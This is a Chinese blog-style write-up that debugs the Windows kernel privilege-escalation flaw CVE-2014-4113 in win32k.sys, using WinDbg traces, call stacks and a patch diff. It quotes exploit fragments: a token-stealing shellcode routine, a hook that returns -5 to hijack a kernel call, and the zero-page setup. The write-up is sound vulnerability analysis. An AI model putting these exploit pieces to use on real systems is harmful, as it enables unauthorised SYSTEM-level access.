經典內核漏洞調試筆記
前言
內核漏洞對我來說一直是一個坎,記得兩年前,剛剛接觸二進制漏洞的時候,當時今天的主角剛剛出現,當時調試這個漏洞的時候,整個內心都是崩潰的,最近我重溫了一下這個漏洞,發現隨著自己學習進步,對整個內核漏洞分析的過程也變的越來越清晰,而且在這個內核漏洞的調試過程中發現了一些很有意思的調試細節,因此想把自己的這個調試筆記分享出來,希望能和大家多多交流,也能有更多的進步。
今天的主角就是CVE-2014-4113,這個win32k.sys下的內核漏洞是一個非常經典的內核漏洞,它無論在Exploit利用,內核漏洞的形成原因,可以說是教科書式的,非常適合對內核漏洞感興趣的小伙伴入門分析。
另一種方法定位漏洞
內核漏洞分析是一個比較復雜的過程,其實無論對于內核態漏洞還是軟件態漏洞,都需要通過對補丁,或者PoC,或者Exploit進行閱讀,通過對源碼的分析可以了解到很多和漏洞有關的細節,所以這次我們也要閱讀一下關于CVE-2014-4113的Exp,從中獲取一些信息。
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PEPROCESS pCur, pSys ;
fpLookupProcessById((HANDLE)dwCurProcessId, &pCur);
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return 0 ;
}
在源碼分析過程中,我們關注Shellcode函數中的代碼片段,可以看到Shellcode做了一件事情,就是針對32位系統和64位系統,會將當前系統的系統進程句柄psys,加上token的偏移賦值給當前用戶進程的token,而這種手法也是現在Windows提權中一個非常好用的方法。
眾所周知,Exploit一般不會影響軟件或者系統的正常運行,而會執行Shellcode中的惡意代碼,在我們沒有PoC來引發軟件或者系統異常的情況下,往往會通過Shellcode中的一些關鍵步驟的跟蹤來接近漏洞的觸發位置。
那么在這個過程中我們就用上面的Shellcode來跟蹤這個漏洞。首先我們來說一下_EPROCESS結構體,這個結構體包含著當前進程的很多信息,這個過程我們可以通過!process 0 0的方法來得到。當然這個命令只有在內核態才能使用,我們通常通過Windbg遠程調試的方法來完成。
可以看到,通過!process 0 0的方法獲取到的system進程的句柄位置在0x867c6660,接下來我們來看一下我們執行的Exploit進程位置。
當前Exploit的地址是0x86116bb0,這兩個地址就是_EPROCESS結構體的地址,下面我們來看一下這個結構體的內容。
可以看到,偏移+0x0c8位置存放的就是Token,而結合上面分析的Shellcode的內容,Token就是進行替換提權的關鍵位置。
實際上提權時,就是用0xe10007b3這個系統進程的Token,替換當前用戶進程的0xe116438c這個Token,這也是下斷點的一個重要依據,通過下條件斷點,可以跟蹤到當前進程句柄的變化情況。
ba w1 86116c78 ".printf \"TOKEN CHANGE TO: [%08x]\\n\",poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}"
跟蹤到00411f88位置的時候,程序中斷,也是這時候當前進程句柄被替換,同時回溯到堆棧調用情況。
當前堆棧調用展示了整個內核漏洞發生問題的過程,我們需要關注這個回溯過程,在后面的分析中需要用到,也由此我們定位了漏洞觸發的關鍵流程,為后續的分析提供了依據。
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x1301448
9b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout+0x1ac
9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage+0x28
9b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages+0x582
9b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop+0x2c6
9b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd
9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3
在接下來的調試分析中,由于ASLR的關系,導致有些關鍵函數地址基址不太一樣,不過不影響我們的調試。
一些有趣的調試細節
關于這個漏洞分析,其實網上有相當多非常詳細的分析,這里我就不再做具體分析了,網上的方法多數都是通過Exploit正向分析,而通過Shellcode定位這種方法,可以用回溯的方法分析整個漏洞的形成過程,可能更加便捷,各有優劣。關于這個漏洞的分析,我不再詳述,只是在調試過程中發現一些有趣的調試細節,想拿出來和大家一起分享。
首先我大概說一下這個漏洞的形成過程,在銷毀菜單的過程中會產生一個1EB的消息,因為SendMessage的異步調用,導致在銷毀菜單時通過消息鉤子的方法,通過截斷1EB消息,返回一個0xffffffb的方法,在隨后的SendMessageTimeout函數中會調用這個返回值,作為函數調用,而在之前的if語句判斷中沒有對這個返回值進行有效的檢查,當我們通過0頁的分配,往0x5b地址位置存入Shellcode地址,這樣就會在Ring0態執行應用層代碼,導致提權。
那么在這個過程中,有一些有意思的地方,第一個是消息鉤子截獲1EB消息,并且返回0xfffffffb,第二個就是在SendMessageTimeout中在Ring0層執行應用層Shellcode代碼的過程。
首先在調用xxxTrackPopupMenuEx的時候會銷毀窗口,這個過程中會調用SendMessage,實際上,在SendMessage調用的時候,是分為同步和異步兩種方式,兩種方式的調用也有所不同,先看看同步,調用相對簡單。
SendMessage (同線程)
SendMessageWorker
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
但是當異步調用的時候,情況就相對復雜了,而我們的提權也正是利用了異步的方法,用消息鉤子來完成的,首先來看看異步調用的情況。
SendMessage (異線程)
SendMessageWorker
NtUserMessageCall (user mode/kernel mode切換)
EnterCrit
NtUserfnINSTRINGNULL (WM_SETTEXT)
RtlInitLargeUnicodeString
xxxWrapSendMessage (xParam = 0)
xxxSendMessageTimeout (fuFlags = SMTO_NORMAL, uTimeout = 0, lpdwResult = NULL)
??
xxxReceiveMessage
xxxSendMessageToClient
sysexit (kernel mode進入user mode)
??
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
XyCallbackReturn
int 2b (user mode返回kernel mode)
這里有很關鍵的兩處調用,一個在sysexit,在這個調用的時候,會從內核態進入用戶態,也就是說在消息鉤子執行的時候,通過這個調用會進入鉤子的代碼邏輯中,而當應用層代碼邏輯執行結束后,會調用int 2b這個軟中斷,從用戶態切換回內核態,這個過程就是通過消息鉤子完成的,而正是利用這個鉤子,在鉤子中銷毀窗口并且返回在整個提權過程中至關重要的0xfffffffb。
首先在HandleMenuMessages->MNFindWindowFromPoint之后會進入SendMessage中處理,這個時候通過安裝的鉤子會截獲到1EB消息。
源碼中鉤子的部分。
lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)NewWndProc ) ; // LONG
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg != 0x1EB)
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
}
EndMenu() ;
return (DWORD)(-5) ; // DWORD
}
來看一下動態調試的過程,通過之前對異步SendMessage函數的調用關系可以看到異步調用會進入SendMessageTimeout函數處理,跟入這個函數通過回溯看到函數調用關系。
kd> p
win32k!xxxSendMessageTimeout+0x8:
967e934f 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x9:
967e9350 57 push edi
kd> p
win32k!xxxSendMessageTimeout+0xa:
967e9351 8b7d20 mov edi,dword ptr [ebp+20h]
kd> kb
ChildEBP RetAddr Args to Child
a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout+0xa
a216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage+0x28
a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58
a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages+0x9e
隨后我們單步跟蹤,在SendMessageTimeout函數中找到調用SendMessageToClient函數。
kd> p
win32k!xxxSendMessageTimeout+0x1c9:
967e9510 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x1ca:
967e9511 e81aaaffff call win32k!xxxSendMessageToClient (967e3f30)
通過IDA pro分析這個函數,在LABLE_16位置調用了一個叫sfn的函數,這個sfn的函數就是負責進入用戶態的。
LABEL_16:
result = SfnDWORD(v17, v18, v19, (int)v20, v21, v22, v23, v24);
int __stdcall SfnDWORD(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
v9[53].Next[12].Next = v8;
ms_exc.registration.TryLevel = -2;
UserSessionSwitchLeaveCrit();
v27 = KeUserModeCallback(2, &v21, 24, &v28, &v29);
當sysexit調用后,內核態和用戶態進行了切換。進入用戶態,應用層就是我們的鉤子內容。
kd> p
Breakpoint 6 hit
001b:00f21600 55 push ebp
實際上,這就是一個鉤子之間的調用過程,也是提權漏洞利用過程中一個至關重要的環節。那么接下來,在鉤子函數中,我們會利用EndMenu函數銷毀窗口,并且返回0xfffffffb,這個過程在很多分析中都有了,下面我們來看看從用戶態切換回內核態的過程。
首先銷毀窗口后,0xfffffffb會交給eax寄存器,隨后進入返回過程。
kd> bp 00251631
kd> g
Breakpoint 1 hit
001b:00251631 b8fbffffff mov eax,0FFFFFFFBh
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631
014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc+0x23
014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow+0x14b
014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage+0xda
014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD+0x2a
我們在應用層通過回溯,可以看到回溯過程中的函數調用,這里單步調試,可以跟蹤到連續向外層函數進行返回。也就是不停的執行pop,ret的過程,直到跟蹤到user32!_fnOUTDOWRDINDWORD中,我們單步跟蹤。
kd> p
user32!__fnOUTDWORDINDWORD+0x2e:
001b:76a0f0a7 5a pop edx
kd> p
user32!__fnOUTDWORDINDWORD+0x2f:
001b:76a0f0a8 8d4df4 lea ecx,[ebp-0Ch]
kd> p
user32!__fnOUTDWORDINDWORD+0x32:
001b:76a0f0ab 8945f4 mov dword ptr [ebp-0Ch],eax
kd> p
user32!__fnOUTDWORDINDWORD+0x35:
001b:76a0f0ae e86171fcff call user32!XyCallbackReturn (769d6214)
在fnOUTDWORDINDWORD中,調用了XyCallbackReturn,再回頭看之前關于SendMessage函數異步過程的描述,XyCallbackReturn正是從用戶態切換回內核態一個關鍵函數調用,跟進這個函數,可以觀察到調用了int 2B軟中斷,回歸內核態
kd> t
user32!XyCallbackReturn:
001b:769d6214 8b442404 mov eax,dword ptr [esp+4]
kd> p
user32!XyCallbackReturn+0x4:
001b:769d6218 cd2b int 2Bh
這個過程會攜帶鉤子的返回結果,從而到后面執行shellcode,回歸內核態之后,來看一下調用到shellcode。
kd> g
Breakpoint 4 hit
win32k!xxxSendMessageTimeout+0x1a9:
967e94f0 ff5660 call dword ptr [esi+60h]
kd> dd esi
fffffffb ???????? ???????? fe9d3dd8 00000000
kd> dd esi+60
0000005b 00f61410 00000000 00000000 00000000
kd> t
00f61410 55 push ebp
Executable search path is:
ModLoad: 00f60000 00f67000 EoP.exe
ModLoad: 770c0000 771fc000 ntdll.dll
ModLoad: 76760000 76834000 C:\Windows\system32\kernel32.dll
我們事先在0x5b地址位置分配了0頁內存,然后往里存放了一shellcode的地址,這樣call esi+60相當于call 0x5b,從而進入shellcode的內容。
其實在調試漏洞的過程中,鉤子的調用是一個很有趣的過程,也是觸發這個漏洞的關鍵,同樣,不僅僅是CVE-2014-4113,在很多Windows提權漏洞的利用上,都用到了類似手法,比如CVE-2015-2546等等。
在文章一開始,我提到這個漏洞的關鍵原因是一處if語句判斷不嚴謹導致的漏洞發生,當結束了這個有趣的調試細節之后,我將通過補丁對比,以及補丁前后的動態調試來看看這個漏洞的罪魁禍首是什么。
補丁對比與過程分析
我們安裝CVE-2014-4113的補丁,可以看到,補丁后利用提權工具提權后,仍然不能獲得系統權限。
補丁前:
補丁后:
我們通過BinDiff來分析一下這個補丁前后發生了哪些變化,這時候我們需要通過文章最開始,我們在定位了提權發生的位置之后,通過堆棧回溯的過程看到的函數調用關系,來確定我們應該看看哪些函數發生了變化。
實際上補丁前后大多數函數變化都不大,但是看到xxxHandleMenuMessages中存在一些小變化,跟進這個函數查看對比。
注意對比圖下方有一些跳轉產生了變化,放大下面這個塊的內容。
左側黃塊和這個漏洞無關,可以看到左側是兩個綠色塊直接相連,表示直接跳轉,而右側補丁后,則在兩個綠塊之間增加了一個黃塊,觀察黃塊,其中調用了一個IsMFMWFPWindow函數,這個函數可以通過IDA pro看到它的作用。實際上就是一個bool函數,用來限制0,-1和-5的情況,下面我們來動態調試分析。
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}
首先是補丁前,會經過一系列的if判斷,直接單步跟蹤到最關鍵的一處if判斷。
if ( *(_BYTE *)v3 & 2 && v13 == -5 )
kd> p
win32k!xxxHandleMenuMessages+0x54c:
968692c5 f60702 test byte ptr [edi],2
kd> p
win32k!xxxHandleMenuMessages+0x54f:
968692c8 740e je win32k!xxxHandleMenuMessages+0x55f (968692d8)
這個if判斷其實是想處理0xfffffffb的情況的,也就是說,當v13的值等于-5,也就是0xfffffffb的時候,會進入if語句,而不會執行將-5傳遞到下面的SendMessage中,然而這個if語句中的是與運算,也就是說,當前面v3&2不成立的時候,就不會進入if語句了,而動態調試前面是不成立的,直接跳轉到后面的if語句判斷。
if ( v13 == -1 )
kd> p
win32k!xxxHandleMenuMessages+0x55f:
968692d8 83fbff cmp ebx,0FFFFFFFFh
kd> p
win32k!xxxHandleMenuMessages+0x562:
968692db 750e jne win32k!xxxHandleMenuMessages+0x572 (968692eb)
這就導致了-5被傳遞到后面的SendMessage,從而導致了后面的代碼執行。
kd> p
win32k!xxxHandleMenuMessages+0x572:
968692eb 6a00 push 0
kd> p
win32k!xxxHandleMenuMessages+0x574:
968692ed ff7510 push dword ptr [ebp+10h]
kd> p
win32k!xxxHandleMenuMessages+0x577:
968692f0 68ed010000 push 1EDh
kd> p
win32k!xxxHandleMenuMessages+0x57c:
968692f5 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x57d:
968692f6 e8a202f8ff call win32k!xxxSendMessage (967e959d)
kd> dd esp
8b46fa94 fffffffb 000001ed 0091f92c 00000000
可以看到,當執行SendMessage的時候,第一個參數為0xfffffffb,后續會在SendMessageTimeOut中引發進入Shellcode,這個之前已經提到。
接下我們一起看一下補丁后的調試情況,補丁后,引入了IsMFMWFPWindow函數多做了一個if語句的判斷。
kd> r
eax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68
eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0 nv up ei ng nz ac pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000297
win32k!xxxHandleMenuMessages+0x570:
9756bf10 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x571:
9756bf11 e889b90000 call win32k!IsMFMWFPWindow (9757789f)
可以看到ebx作為參數傳入IsMFMWFPWindow,ebx的值為0xfffffffb,而這個值是-5,判斷肯定是不通過的,返回false。
kd> p
win32k!IsMFMWFPWindow+0xb:
975778aa 837d08fb cmp dword ptr [ebp+8],0FFFFFFFBh
kd> p
win32k!IsMFMWFPWindow+0xf:
975778ae 740b je win32k!IsMFMWFPWindow+0x1c (975778bb)
kd> p
win32k!IsMFMWFPWindow+0x1c:
975778bb 33c0 xor eax,eax
可以看到ebp+8判斷是否為false,這里是為false的,所以跳轉,不執行SendMessage,這樣漏洞就被修補了,我們最后來看一下補丁前后的偽代碼。
補丁前:
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
……//省略一部分代碼
if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key!這里第一個判斷不通過
{
xxxMNSwitchToAlternateMenu(v3);
v13 = -1;
}
if ( v13 == -1 )
xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
else
xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);//key!
補丁后:
v29 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
v50 = IsMFMWFPWindow(v29);
if ( v50 )
{
……
}
else
{
if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了
{
…… }
……
if ( v29 == -1 )
goto LABEL_105;
}
if ( IsMFMWFPWindow(v29) )//Key!!!這里先調用了IsMFMWFPWindows做了一個判斷,然后才send
xxxSendMessage((PVOID)v29, -17, UnicodeString, Address);
到此,這個內核漏洞解剖完畢,以前一直覺得內核漏洞很可怕,現在仔細分析之后,其實發現內核漏洞也是很有意思的,仿佛給我開了一扇新的大門,里面有很多有趣的東西值得去探索,分析的時候只要理清邏輯關系,其實會簡單好多,文章中如有不當之處還請各位大牛斧正,多多交流,謝謝!
來自:http://bobao.#/learning/detail/3170.html